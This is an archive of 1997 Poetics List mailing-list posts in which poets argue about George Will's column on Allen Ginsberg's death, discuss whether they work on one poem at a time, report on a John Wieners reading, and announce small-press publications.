>without Allen Ginsberg to lead.

This totalizing "we" is problematic to me. Personally, Ginsberg never lead me anywhere (even though I had a poster of him on my bedroom wall when I was in high school)--and I think his influence is marginal to large "marginal" populations. As I see it, he embodied alienation for a bunch of white guys (and a few women such as Maria D.), a fine thing to do--but other people have embodied that for other groups and will continue to.

Dodie

↑ Index

388. **Daniel Bouchard**
Fifth Column
Mon 14 Apr 1997

Dear Fellow List Members:

As has been the pattern for the past two years, the SEND button on my Mail program responds with a shock of ambiguity each time I touch it & post to the Poetics List. Successive efforts don't deaden the nerves; in fact, the sensation consistently grows more painfully apparent. One way I have found to counter

this negative impact is a smaller group correspondence--a "sub" poetics list, where the talk is considered amongst friends--even those I haven't yet met in person.

And valuable as smaller groups are, I still find great value in the larger list--more voices in the room: disparate, redundant, informative, entertaining, illuminating, drab & trite. This List still has plenty of promise and potential to fill as a powerful resource in the arts community. I would much rather hear of Allen Ginsberg's failing health from Charles Bernstein than from an Associated Press release--not to mention a news column from GFW. I would rather hear about who read in San Francisco over the weekend from Steve Carll than . . . than what? -- you either hear it from Steve (or Kevin) or you don't hear it.

My original "reply" to Will's column was an outburst-- a parody of his own writing on AG--- a catharsis, fun, meant to shame GFW (for what that's worth) more than to invite serious discussion on how the media reacts to poetry, etc. etc. I think that saying "Fuck George F. Will" at the end (NOT "Fuck you George Will"-- there is a difference) is a rather standard (and fitting) epigram.

And finally, while I am aware that some of my posts have pissed off many people on the List, I will remind you that I have not (and do not) engage(d) in name calling.

This is the most serious note I have ever posted.

May God forgive me, if She remembers my name.

[redacted]

Not to get in the middle of personal name-calling exchanges, but my response to Will's column (which I haven't read & don't intend to seek out) is to let lying dogs sleep. sp

↑ Index

389. Eliza McGrand- CVA Guest

Re: Fifth Column

Mon 14 Apr 1997

---

dear daniel:

this is god. i do, indeed, remember your name. what i can't seem to remember is that columnist fellow's name, which is odd since he mentions my family often -- must be a freudian slip...

god

↑ Index

390. **michael corbin**
Re: History is Rewritten
Mon 14 Apr 1997

Christopher Alexander wrote:
>
> > howard zinn's book A People's History of the United States or some such is
> > very good for this purpose. it's thick tho, which may intimidate some hs
> > students, but very readable and an eye-opener.
>
> yes, this one is definitely worth a peek.
> it's worth noting that zinn, who teaches
> at boston university, has suffered more
> than a bit for his political practice. a few
> years back, president silber (who has
> now left the univ. for a prominent position
> in MA public ed--talk about frightening),
> in what is probably the most recent, &
> most prominent instance of the university
> administration's usually quiet campaign
> against zinn & the left in general, tried to
> have him fired when, refusing to cross
> the picket line of the then-striking clerical
> workers, zinn held his classes off campus.
>

While I agree that _People's History_ is good, it does suffer from its strength. That is, the birds-eye view narrative of the 'people's history'. Yet along the lines of your anecdote, Zinn's memoir _You Can't be Neutral on a Moving Train: A Personal History of Our Times_ published in '94 is, I think, more engaging as it narrates from a Zinn's-eye view as it were. While perhaps memoir-as-genre has blurred into the cliche excesses of an unrequited romance with a unitary subjectivity, Zinn stears clear of the pits of irony, bathos, the cynical and golden-age-ism. More, it is the narrative of how a political engagement with the world is precisely that which calls into being one's subjectivity.

Indeed, (to make another connection---perhaps of 'threads') it is not much of a stretch and not without benefit to see the paths of Zinn and Ginsberg as quite similar. Roughly contemporaries traversing much of the same geographic and psychic space of the american imperium of the 20th century; steadfast in their fuck-you's; living without regrets for their engagements with the world; and damanding a different future through their work and their very bodies. Of course they speak in different tongues. But tongues perhaps scrawled on the same rosetta stone.

mc

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391. **amato**
Re: Fifth Column
Mon 14 Apr 1997

---

well doggonit, i wasn't gonna post in on the fuck-you's, but what the heck... i mean, what's wrong with a few fuck-you's anyway?... depends on the tone?...

oh fuck you...

and fuck you too...

and fuck you too too...

and fuck me...

and what the fuck, why the fuck not?...

fuck it... it's fucking-A-fucking-OK-with-me...

i 'get' the rhetorical gesture on d bouchard's part, expect the rest of you to too... but in any case, heck---mebbe somebody OUGHT to tell george will to go fuck hisself f2f... i know---that's really another matter...

still, if it were up to me, i'd like to say it very casually, in front of a large audience...
to wit:

"oh george, pleez go fuck yourself...
pretty pleez?"

i mean, just very very gently, softspokenly even...
and smiling...

"oh fuck you george, oh fuck you and your bow-tie tactics..."

anyway... not even two cents' worth, i know, but heck... of course, i don't think we should be busy insulting one another, but i'd hate to feel that we're operating under some language strictures or some such around here, fer chrissakes... and in any case, i can learn from those who are opposed to the fuck you's too, so really no hard feelings at all, wrt anybody...

so to say it as nicely as i can muster, from the heart:

fuck all of us///

best,

joe

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392. **Jordan Davis**
Imaginary Interview Question
Mon 14 Apr 1997

Q: Do you work on one poem at a time, or do you work on several at once? Or do you just write, and make poems from the writing later? I suppose this will seem naive, but I wonder if there are poets who do not begin work on a new poem until they have finished the poem at hand --

↑ Index

393. **Michael Magee**
Re: Will's column
Mon 14 Apr 1997

"What we have at times on this list is more like a
high school gang of creeps posturing and screaming at one another." - Dale

Look, my parents are out of town this weekend, and I'm havin' a *major* jammin' party, but if any of you geeks who hang out with George Will try to bust in, I'll call the cops myself, then I'll meet you at your locker on Monday and knock you into next week!

-Mike.

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394. **Daniel Bouchard**
What I Want: An Essay
Mon 14 Apr 1997

What I want is to exercise my right to throw potato salad at CCNY lecturers on Dadaism . . . (or their cyberspace equivalients).

[redacted]

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>Subject: Re: Will's column
>To: [redacted]
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> --Allen Ginsberg (1926-1997)
>
>"America, I'm not sorry."
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or may not >use the oh-so-shocking "F" word, depending on the amount of
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>
>You said, "his death is the occasion for such moments as these and I think
>as much meaning should be milked from debate rather than saturating
>ourselves only with warm platitudes."
>

>Yes, let's debate and milk (milk?) the moment and we may learn something
>from one another, but don't begin by telling ME to settle down and be
>reasonable because it only makes me more angry.
>
>
>[redacted]
>

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395. Daniel Bouchard
What I Want: An Essay
Mon 14 Apr 1997

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[redacted]

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>reasonable because it only makes me more angry.
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>
>[redacted]
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396. **Michael Boughn**
Re: George Wills and the Imago of Alan Ginsbuerg,
Mon 14 Apr 1997

> *My concern is: how*
> *will we move out of a position of passivity today? Especially*
> *without Allen Ginsberg to lead.*

Yikes, you think you need a leader? This is moving out of a position of passivity?

Mike
[redacted]

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397. **dbkk**
Re: Fifth Column
Mon 14 Apr 1997

At 1:17 PM -0500 4/14/97, [redacted] wrote:
>well doggonit, i wasn't gonna post in on the fuck-you's, but what the
>heck... i mean, what's wrong with a few fuck-you's anyway?... depends on
>the tone?...

This tread reminds me of last month when Simon Pettet came over for pizza and it seemed to me (though this is far from accurate) that every other word out of his mouth was "fucking," and I felt so jealous because in my life I'm simply not allowed to talk that way. One of those reasons why my writing is so vital for my survival.

Dodie

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398. **dbkk**
Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
Mon 14 Apr 1997

At 1:53 PM +1000 4/14/97, Maria Damon (Maria Damon) wrote:

> *hi dodie, i certainly see your point and have no desire to add to the sense*
> *of totalizing.*

Maria, I wasn't suggesting you were. You of all people would be sensitive about NOT doing this.

Dodie

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399. **henry**
Re: Will's column
Mon 14 Apr 1997

On Mon, 14 Apr 1997 15:30:11 -0400 Michael Magee said:
>"What we have at times on this list is more like a
>high school gang of creeps posturing and screaming at one another." - Dale
>
>Look, my parents are out of town this weekend, and I'm havin' a *major*
>jammin' party, but if any of you geeks who hang out with George Will try
>to bust in, I'll call the cops myself, then I'll meet you at your locker
>on Monday and knock you into next week!

I say fellows, settle down over there across the ocean sea. I believe it's time for you all to do your taxes, am I right? Is this what's got you all pothered & smithered? Why, I'll put on the gloves myself if it's a question of defending Queen Vicky, lads. Cheerio - Eric Blarnes

p.s. Eric Blarnes won a Queenly Salutations Ribbon in the Hertforshire Pugilistic Engagements for 1884. Just so you know. [He never attended "High School"]

pps. er... any of you blokes or lasses read any poetry lately? Swinburne's latest is... shall we say... long in the golden tooth?

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400. **henry**
Re: Imaginary Interview Question
Mon 14 Apr 1997

I work on one at a time (but then I'm ambidextrous). But one often becomes many (i.e. a set of some kind).

Henry "Al Tennisshorts" Gould

p.s. let's hear from some outside my circle on this one, hey? I mean Spandrift, Blarnes, cool it for a while - let the lurkers cometh fortheth)

↑ Index

401. **Christopher Alexander**
Re: Will's column
Mon 14 Apr 1997

Michael Magee wrrrrrrrrrrrt:
> Look, my parents are out of town this weekend, and I'm havin' a *major*
> jammin' party, but if any of you geeks who hang out with George Will try

> to bust in, I'll call the cops myself, then I'll meet you at your locker
> on Monday and knock you into next week!

are me & Kent invited? I'll bring all my hardcore records, & I've got some killer weed. only--can I crash at your place?

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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402. **Sylvester Pollet**
Re: Imaginary Interview Question
Mon 14 Apr 1997

Yeah, me for one. Very rarely move on until I'm done. Though sometimes in the middle an idea for another appears, or a section I take out might begin to germinate like a cutting. But I finish the first one first, just make a note alongside so as to remember. sp

> *Q: Do you work on one poem at a time, or do you work on several at once? Or do you just write, and make poems from the writing later? I suppose this will seem naive, but I wonder if there are poets who do not begin work on a new poem until they have finished the poem at hand --*

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403. **Jordan Davis**
Another Imaginary Interview Question
Mon 14 Apr 1997

Q. I see. But isn't it important to make sure to anticipate your detractors? To demonstrate that what appears to be at best oblique and at worst allegorical is actual a valid and independent choice? Not that you have to kowtow to your independence...

↑ Index

404. **Don Cheney**

Re: Imaginary Interview Question

Mon 14 Apr 1997

> *Q: Do you work on one poem at a time, or do you work on several at once? Or do you just write, and make poems from the writing later? I suppose this will seem naive, but I wonder if there are poets who do not begin work on a new poem until they have finished the poem at hand --*

jordan

i love this question. i've been thinking about my writing process and how it (inevitably?) mirrors my life. in life i have to consciously stop my self from doing more than one thing at a time, starting one project and then starting another in the middle of the first project. and i don't always stop my self from doing this. and the same thing happens in writing. and i think it is the same process. i start a piece of writing and if it's flowing i will continue. if it's not i may start up another project. i think this is very different than when i was in my 20's and seems to have to do with my state of mind and state of leisure. i had more leisure time in my 20's than i do now at 38. but what role does age play in this separate from leisure time? don't know. i suspect that it does play a role. maybe i'm becoming more scatterbrained (i love that word) with age.

if you check out my web page you will find two prose projects stalled ("The Crystal Lava" a translation of Hammett's THE GLASS KEY and "The Profanity of the Lambs" which is a reworking of some god-awful Harold Robbins novel or other). and they've been stalled for quite a while. and i haven't put on the web another prose re-working, this one from R.L. Stine's GOOSEBUMPS series for kids--THIS IS GRADE A MONSTER SOUP! i think i've titled it. stalled, stalled, stalled.

still, i also have works that i've worked straight through without starting another work. but i do not have any rules about not starting another work until a certain work is finished. i'd love to hear from people who do have that rule. intriguing.

don

==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]
==========

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405. William Burmeister Prod
Re: Imaginary Interview Question
Mon 14 Apr 1997

> *Q: Do you work on one poem at a time, or do you work on several at once? Or do you just write, and make poems from the writing later? I suppose this will seem naive, but I wonder if there are poets who do not begin work on a new poem until they have finished the poem at hand --*

I suppose there may be, but for many, I can imagine that not beginning a new poem until the poem at hand is finished would mean that far fewer poems get written, and perhaps that the spontaneous creation process would be frustrated. Of course, this begs the question of when a poem is actually "finished."

Bill B.

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406. Christopher Alexander
Re: Imaginary Interview Question
Mon 14 Apr 1997

> Q: Do you work on one poem at a time, or do you work on several at once?
I work on one at a time--
how's that for scintillating discourse: "me, too".
that's ok, / I never wanted to be "scintillating" anyway.
too dangerous. actually I like the sylvester's "cuttings"--
my work does seem to splinter outward in that way,
so that fragments occur in mid-piece which then go
on to engender other work. actually I'm making it up.
I'm not a writer I'm a brush salesman--2 of them, I'm
2 brush salesmen. & lots & lots of stuff falls on the
floor around my desk, never to be seen again.

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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407. **Matthias Regan**

Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Opera

Mon 14 Apr 1997

Dale Smith wrote:
>
>What disasters have been spared? The social, political, and aesthetic
>reality of this country today resembles Victorian England more than ever.
>

This seems like a strange thing to say. What do you have in mind?

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

408. **Matthias Regan**

Re: PPBR - addresses of events

Mon 14 Apr 1997

> *This may seem really obvious of me, but when addresses of events are listed on the list, could the city please be included?*

hank you. It drives me nuts
to not know even if the city most
likely turns out not mine

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

409. **LYNES- KATHERINE**

Re: Imaginary Interview Question

Mon 14 Apr 1997

---

okay, all right.... pressure, always pressure.... i work on several at a time.... sometimes for years, sometimes for days. i seem to need time for it to gel. i think that i work on more than one poem at once because while writing one poem, other lines come out of it, too much of a tangent to be all in one, sometimes....

back to lurking [the moniker [and no i'm not looking up the spelling of that] of which i'm not sure i like....] kl

> *I work on one at a time (but then I'm ambidextrous). But one often becomes many (i.e. a set of some kind).*
>
> *Henry "Al Tennisshorts" Gould*
>
> *p.s. let's hear from some outside my circle on this one, hey? I mean Spandrift, Blarnes, cool it for a while - let the lurkers cometh fortheth)*

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410. **Matthias Regan**

Re: Imaginary Interview Question

Mon 14 Apr 1997

---

1 at a time because if I'm writing one
and put it aside to work on another
that suddenly occurs, it stays aside.
I keep all the poems begun but not continued
in various folders with the promise of returning
to them. But I have never done that so far.
But then there is no fast and hard rule
(perhaps I'm too young, perhaps not
observant enough)--rather I am recently
suprised at how consistently different
the process of writing each poem is: some
go from beginning to end, straight through,
like what working on a musical score must be,
then the next ones get together all ass
backwards like a collage--some I can never
go back to after two days work on them
and for better or worse (the latter) that
is as done as they get. Then
the next one will seem to require just
a little work once a day for a month.
In that whole time I won't work on anything
else unless a) I don't really take it
seriously or b) I don't like the present
project and am willing to sacrifice it.

For quite a few years I fought to maintain
a schedule and regular writing practice, but

that seems to increase frustration and never
produced more work of higher quality, just
more work. (Which is important too, in a way.)
So now I write only when I *really* want to
and by default only work on one thing at a time.

I always write completely off the cuff.

What do others do?

> *Q: Do you work on one poem at a time, or do you work on several at once?*
> *Or do you just write, and make poems from the writing later? I suppose*
> *this will seem naive, but I wonder if there are poets who do not begin*
> *work on a new poem until they have finished the poem at hand --*

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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411. Mark Weiss
Re: What I Want: An Essay
Mon 14 Apr 1997

I don't know about Bouchard, but speaking for myself, I want everyone to go
along with me as vehemently as possible, but I'm resigned to the fact that the
best I'm likely to get is debate.

At 03:39 PM 4/14/97 -0400, you wrote:
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> on Dadaism . . . (or their cyberspace equivalients).
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>[redacted]
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>>
>>[redacted]
>>
>
>
>
>----------
>Get Your *Web-Based* Free Email at http://www.hotmail.com
>----------
>
>

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412. **Mark Weiss**
Re: History is Rewritten
Mon 14 Apr 1997

While perhaps memoir-as-genre has blurred into the cliche
>excesses of an unrequited romance with a unitary subjectivity...

Is this translatable into English?

Speaking of translations:

Of course they speak in different
>tongues. But tongues perhaps scrawled on the same rosetta stone.

Some weird Egyptian stuff. Too kinky for me.

↑ Index

413. Keith Norris
read my will at the houseparty
Mon 14 Apr 1997

ok

remember, if you use the washing machine as icebucket--clean it out afterwards.

[threadshift]

I took D. Bouchard's fuck GW as imperative--and so I sent will a 'fuck-you,' a noun, a written remonstrance without, in this case, the word 'fuck.' --that'd be bad rhetorical game, eh, GW'd win. And we can't have that. How long you think before GW and the sunday breakfast crowd hear too much poetry and, having learned a valuable lesson from Allen G., find someone to market, some voice acceptable to the academy, something we can call traditional to draw those crowds, sell those tickets--the beast, I think, has already been to Bethlehem.

Allen G scared GW and ilk--his poetry had the rhythm necessary to carry a catalog of disaster home to America's doorstep...sit there...love that doorstep...till somethin' human came out the door. I don't hear America singing but when I read some of you folks 'round here I hear/see/taste/consume a language that brings it home. Look MA! Left and postmod--no hands!

But y'all couldn't make generous assumptions about my send-a-fu-to-GW post--in emotional haste and in bad form I posted w/out introductions. Keith here. Found this list a little while ago--and was overwhelmed to hear names/ideas chatted up that are privately familiar and well-chewed. As when you (you?) ask for Brave Combo in the record store and the clerk knows who you're talking about and introduces you to her complete collection including bootlegged tapes made at the Lewisville TX county fair, 1986. That recognition. That fear and delight. That gum-popping pause.

Regardless of how you feel about f---, I'm happy to sit here and listen to conversation that feels right from voices I trust by reputation or have started to get an ear-for-here. Nice place--arguments and all. Wish I had found it earlier.

yrs.

Keith

[thread turn again--->re:

On Mon, 14 Apr 1997, Michael Magee wrote:
> "What we have at times on this list is more like a
> high school gang of creeps posturing and screaming at one another." - Dale
>
> Look, my parents are out of town this weekend, and I'm havin' a *major*

> jammin' party, but if any of you geeks who hang out with George Will try
> to bust in, I'll call the cops myself, then I'll meet you at your locker
> on Monday and knock you into next week!
>
> -Mike.
>

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414. Bob Grumman
Possible Omissions in the Now-Classical Anthologies
Mon 14 Apr 1997

As a multi-unanthologized poet well past forty, I wondered what the group's consensus might be on the editorial sensitivity of the Hall Pack Simpson and Allen anthologies: do you think any consequential poets of the time were omitted from both? I could only think of one, quickly: Robert Lax. Allen skipped him again in 1982, and so did the recent Norton Postmodern.
--Bob G

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415. Jeffrey W. Timmons
Re: History is Rewritten
Mon 14 Apr 1997

On Mon, 14 Apr 1997, Michael Boughn wrote:

> *I don't quite follow this thread. Have "the schools" ever provided information to students about the labour movement, radical political movements, feminism, vegetarianism, spitritualism? Certainly not in my experience (50s and 60s).*

no they dont youre right. and yes we do have to find it on our own. but i think what i was responding to was the desire for a more polyphonic political discourse: more channels more choices more alternatives. the aspect this thread straggled from was wills dissing ag and the desire for some r e s p e c t (to the tune please) for those willfully purged alternatives that ag might represent. mb you are quite right: but cant i hope that political and cultural opposition be granted its token role in a dialogic community? rather than mercilessly and ritualistically vomited from the body/politic? naive yes i know. sometimes it happens. then i go back to doing the same thing to "theM."

jeffrey timmons

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416. **Jeffrey W. Timmons**
Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
Mon 14 Apr 1997

On Mon, 14 Apr 1997 dodie wrote:

> *This totalizing "we" is problematic to me.*

ok.

> *As I see it, he embodied alienation for a bunch of white guys (and a few women such as Maria D.), a fine thing to do--but other people have embodied that for other groups and will continue to.*

objection! please define "white." i dont bite.

jeffrey timmons

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417. **nuyopoman**
Re: WBA
Mon 14 Apr 1997

<<_Who Built America? Working People & The Nation's Economy, Politics, Culture & Society_ in two volumes from the American Social History Project at CUNY. The founder of the project is Herbert Gutman. The 'text' can also be had on CD with lots of pedegogically provocative pictures, songs etc. for the multi-media prepared computer.>>

....is actually one of the best CD-ROMs I've seen. Voyager, which I think is out of business, put it out. There's a great section on gay history deep in the inter-face, but of course some Funda-mentalist found it, and it's been banned in some high schools.

Holman

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418. **Schuchat Simon**
Re: Imaginary Interview Question
Mon 14 Apr 1997

On Mon, 14 Apr 1997, Jordan Davis wrote:

> Q: Do you work on one poem at a time, or do you work on several at once?
> Or do you just write, and make poems from the writing later? I suppose
> this will seem naive, but I wonder if there are poets who do not begin
> work on a new poem until they have finished the poem at hand --

>
sometime in the early twentieth century, Paul Valery replied:

A: Poems are never finished, only abandoned.

↑ Index

419. **nuyopoman**
Ginsberg the Rock Star
Mon 14 Apr 1997

<<So no wonder that when they arrive in college, they are maybe aware of Allen G as MTV celeb instead of fine poet and political activist. My solution at home: tell my kids about alternate history, take them to events that proliferate the truth about American political policy, etc.>>

Excuse me, Maxine? Are you suggesting better for kids never to have heard of Allen at all then to have seen the video of "The Ballad of the Skeletons" on MTV?

I love to hear from the kids who found their way to Allen's because of that exposure. It does happen!

Cheers,

Bob Ho

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420. **KYLE CONNER/LRC-CAHS**
Re: So How did The Weiners I mean Wieners event go?
Mon 14 Apr 1997

---

yes Chris, the Wieners reading...

for me was fantastic. was the first time i saw him read. There was quite a lineup of readers before him, which gave us all (about 30 people or so) the opportunity to observe John as he is, an angel caught between two worlds. He ferreted through various papers and books he had in a large dingy bag he carried, subvocalized and laughed at points, to what only he knew, and wandered through several books from a bookshelf behind him. This provided interesting counterpoint to the criticism and poems being read in his honor. At points he tuned in to a humorous phrase from one of the speakers, or a curious pause from Charles Shively (who himself read from a very interesting and involved review/memoir/prosepoem of the printing of Wieners' book (i think it was _From Behind the State Capitol_...or the Collected) that was printed in an issue of _FagRag_.

John's reading seemed to exemplify exactly what he has stated as being his poetic project, that his life would be the source of his poetry, that he could somehow blur the boundaries of life and art. He began reading from his newly published journals, _707 Scott Street, for Billie Holiday_, and it seemed at first that the text was unfamiliar to him. (For those of you who don't know, Wieners has had a long history of mental illness, and his current diagnosis is schizoprenia.) He paused at points, and jumped around the text. He then opened a large tome which i assumed was his Collected Poems (i've never seen it). From this point on one could never be sure where one poem ended and the next began. At one point John read from a small strip of paper, almost to himself, the address of some hotel. At another, he unfolded an oversized piece of paper crammed with words, read a line or two, paused uncertainly, put it away and opened up a book. His sharp and self-conscious wit emerged at points, as when in the midst of ferreting through his papers he said, "I am not a fetishist," eliciting much laughter from the audience. It was quite amazing, a seemless flow of living art, complete immersion in himself and the moment. After about twenty minutes, he abruptly said, "I think that's all for now," and finished. bless him.

p.s. thanks Josh for posting that notice. I wouldn't have known about the reading without it. Keep 'em coming!

fraternitas,

kyle conner

↑ Index

421. **dbkk**

Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle

Tue 15 Apr 1997

At 3:58 PM +1000 4/14/97, Maria Damon (Maria Damon) wrote:
>actually, i didn't think you were suggesting i was. i just wanted to be
>sure you knew that you had my sympathies. xo, md

Ironically, I just received a very moving e-mail from Simon P. about his being present at AG's deathbed, holding his hand, and then the Buddhist service. So now I feel guilty about being so flip about AG, like instant karma's gonna get me.

Dodie

↑ Index

422. Alan Jen Sondheim

Decoding My Life (Come to This)

Tue 15 Apr 1997

Decoding My Life (Film Fissure Five Flesh With Wizard Work Writing):

A AIR, AVI Aarhus Addenda, Address: Advisor Aesthetics Also American Americans An,ode, Analysis Angelina Annihilation: Antler, Arsenal, Art, Artforum, Articles Artistic Artweek, As Atlanta Avatars, Before Beginning Being Benefit, Benefit, Best Beyond Board Book Border, Brown Brussels, Bykert Cal. Camcorder Canadian Center Characterizations Chatter Cheap Cincinnati, Cinema City Co-Organizer, Collective College Columns Comoderator Concordia Conferences Connecticut Consultant, Contact/Proofs, Contamination, Contributing Contributor, Correspondent Crash, Creative Culture Curator, Current Cut Cyberspace, DARE, Dalhousie Dallas Dead Debrisfilm, Decomposition: Disorders Drug, Dundas ETR, Editorial Electron- ic Email: Emory Essay Exhibitionist, Experimental Experimental Export FTI, Faculty Family Fashion, Fear Fellow Feminism Fever, Film Fissure Five Flesh, Flexibility, Flux Foundation Founder, Fractured Franklin Frontera Full Future Gain Geography Geography/Postmodernism/Body, George Geyser, Give Global God, Gotham Grants Greetings Group Guest, Hallwalls Hammond Harbourfront, Hartford Headed Hebrew History Hole, Hollywood, Horizons How Huntington Hymen, Image Images Immobilization, In Inaugural Incorrect: Individuals: Inquisition, Intermedia Internet Interview Into Introduction Jager Joual Juarez, KERA, KNON Karen Keynote Kitchen, L.A. LUBO Landscape, Lang/Parsons Liberte Light Limelight, Liner Linguistic Lips, Lists, Live London Lousiana Lumina, M, MIRROR MOMA, Male, Marcia Margaret, Mass. Mat- rix Media Melbourne, Member Millennium, Mills Miscellaneous: Misrecogni- tions, Muck, Museum NEA NY Naropa Nature Negative Net Net-Body Neural New Newark Newcastle-upon-Tyne Newport Newsletter Nexus, Nina No No Noise North Nova Nova O.K. Oberlin Old On On-Line Ontario Option, Orange Organ- izer, PCM2-MOO, Paint, Panel/Screening, Parachute, Paris Part-Time Parti- cipant, Participating Patricia Peachtree Perforations, Persona Phenomen- ology Photographs Planet Poems, Polymorphous Pornography: Postmodernism Ppress Presence President, Producer/originator, Providence Public Public- ations Queer-e, RISD Real Resonances, Review Reviewer, Revised Rhode Rit- ual, Robbed S.P.E., S8, SMU, SNAP San San Schizz, School Second Selec- tions, Sequestered Sexuality Sheridan Sick Singular Sleazy Soho Some Sounds, South-Eastern Southern Spinthariscope, Square Squeaky Squeaky Squealer, St. St. Stolen Strata, Summary Suny Super T'Other Talk Talking Telephone: Testimony Textbook Texts, The Theater, Thought, Thread Throat, Town Transcription Tre Trivial Two U.A., UCLA UCSD, UNCA, URL UT Umberto University Unnerving Untitled Upstairs, Using Various Vehicule, Victor Video Village Virtual Voyeurism, WBRU Warwick Watching

Wesleyan Western Whitney Williams Winnipeg With Wizard Work Writing Wupatki, X-Art Yale ZBS [Note: _Hole,_

_____
amino, cd or

_____

↑ Index

423. George Bowering
Re: Fascists and others
Tue 15 Apr 1997

Hey, when I went to sleep, all you ASAmericans were calling each other Cummunists. Now I wake up 30 years later, and you are calling each other Fascists. You know, I think we can take that as a good sign.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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424. Joshua N Schuster
wieners evening
Tue 15 Apr 1997

Event went wonderfully, a bigger audience than usual, John was patient enought of sit thru everyone's welcome, well, maybe an hour or so of introductions. Charley Shively, if someone is not familiar with him, gives beautiful readings. John read for about 20 mins, poems read with clippings, ads, other poems, notes on envelopes. We have the whole event video stocked. I think we are planning to collect the papers and transcribe the rest for some act of not forgetting. John, btw, is feeling better, can read and enjoy new audiences, can still floor and flush any audience, and has a good deal of confidence to pace himself. Alan Davies spoke some and read the next day, catching me offguard with his sparer serial lyrics, more like zen in the wake of haste. Bob Perelman, Louis Cabri, and Rachel Blau DuPlessis, all on this list, all gave great talks, opening straight into the issues of insanity, embodying, sexuality. The evening was instense and a pleasure. Hopefully these sorts of events will find him more

comfortable with a public, keep us reading him, keep him hoping and publishing (there are still piles of journals and unpublished poems).

-Josh Schuster

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425. Pierre Joris
Re: Imaginary Interview Question
Tue 15 Apr 1997

Jordan Davis wrote:
>
> Q: Do you work on one poem at a time, or do you work on several at once?
> Or do you just write, and make poems from the writing later? I suppose
> this will seem naive, but I wonder if there are poets who do not begin
> work on a new poem until they have finished the poem at hand --

On several at once. While new poems/fragments/work is being handwritten into notebooks, older stuff (there's a several weeks, sometimes several months lag between the hand & the keyboard) is being typed up, then printed, then revised & keyed in again. As a book takes shape more reworking is being done from the perspective of the book. Simultaneously it often happens that a given work, older or newer, gets retooled, expanded/contracted, for specific purposes beyond the writing desk -- i.e. right now taking off on an older piece as it is proving to be the matrix for generating a text to be performed with dancers & music by an electronic composer. It seems important to me to permitp the work to stay in flux, nomadic, in that way -- or some of it, the most open, as much simply comes & is & remains what it is.
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through values or sentiments, in _one_ time, in _one_ history, in _one_ language, is the principle of alienation which constitutes man as privileged in so far as he is what he is, [...] imprisoning him in contentment with his own reality and encouraging him to offer it as an example or impose it as a conquering assertion. -- Maurice Blanchot
==========

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426. Rachel Loden
Perloff on Yasusada
Tue 15 Apr 1997

Marjorie Perloff's article "In Search of the Authentic Other: the Araki Yasusada 'hoax' and what it reveals about the politics of poetic identity," is available on the web at:

http://www-polisci.mit.edu/BostonReview/BR22.2/Perloff.html

It is, as you might imagine, fascinating, especially in present company, and will start (or renew) many arguments.

Rachel L.

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427. Mainstream
advert
Tue 15 Apr 1997

Announcing publication of two issues of Sub Voicive Poetry in one week

Sub Voicive Poetry 1997 number 6 texts by David Miller / Gad Hollander with a front cover by Andrew Bick

Sub Voicive Poetry 1997 number 7 Chris Funkhouser / Loss Glazier / Jim Rosenberg

Each issue one pound fifty pence sterling payable to Lawrence Upton

Both issues as one order two pounds fifty pence sterling payable to Lawrence Upton

Overseas rate available on application

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428. Mainstream
advert
Tue 15 Apr 1997

RWC announces the reprint of RWC 35 / Ken Edwards - BRUISED RATIONALS. Two pounds and fifty pence payable sterling to Lawrence Upton. Price includes postage. Send to 32 Downside Rd, Sutton, Surrey SM2 5HP. Overseas rates available on request.

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429. Poetics List
Re: POETICS Digest - 7 Apr 1997 to 8 Apr 1997
Tue 15 Apr 1997

I've been away from my post for a few days--here is something waiting for me upon my return...
jk

---------- Forwarded message ----------
Date: Wed, 9 Apr 1997 14:58:20 -0400 (EDT)
From: [redacted]
To: [redacted]
Subject: Re: POETICS Digest - 7 Apr 1997 to 8 Apr 1997 (fwd)

[...]

_____

I. M. A. G.

brave old lion
gone out of reach now
through the one door
        awaits us all

now turn his pages:
door upon door upon door

Anselm Hollo

↑ Index

430. Herb Levy
Re: media coverage for the arts(long reply)
Tue 15 Apr 1997

Christine Palma,

I love radio. I've done programming and fund-raising for community stations on & off for fifteen of the last twenty years. It's a great medium, full of amazing potential, but all-too-often this potential is unrealized and in general this situation is getting worse.

Christina, you're VERY lucky to live in an area in which you not only have a good Pacifica station, but also community stations like KCRW which haven't entirely bought into the NPR model of narrowing the program content to widen the audience size. The areas around New York (hi Kenny) & San Francisco are similarly blessed. The rest of us in the States get very spotty service from our "public" broadcasters in terms of adventurous arts, poetry or otherwise.

Most radio stations who broadcast stories about Ginsberg's death hadn't presented Ginsberg's work on the air (if they ever had) since the multiple CD boxset of recordings was released and, hence, newsworthy. How many radio stations regularly broadcast poetry with roots in the experimental tradition? How many broadcast such poetry mainstreamed within their regular programming, rather than in a specialty program aired a few hours every week or once or twice a month? How many broadcast ANY poetry (even mainstream crap) at ANY time?

In general "public" stations in the States are focusing more on increasing their market share and less on serving diverse underserved communities. The result is homogenous & bland "classical" (no vocal music, no weird contemporary music, just oceans of pretty music), "jazz" (nothing weird, please, what would Wynton say, & often nothing old enough to not be in stereo), or "alternative pop" music (the oxymoronic label says it all, if it doesn't a drum kit and an electric guitar forget about it) stations. "Public" stations are dropping specialty programs, focusing on a specific format, and coverage of all but the most mainstream events is declining, cause they might alienate those folks in the upscale demographic that the station's advertisers (oops, I mean underwriters) pay to reach throughout the day.

That these stations ARE often better than the other media in a given area, is more a sign of how bad the other media have become, rather than how great these stations really are.

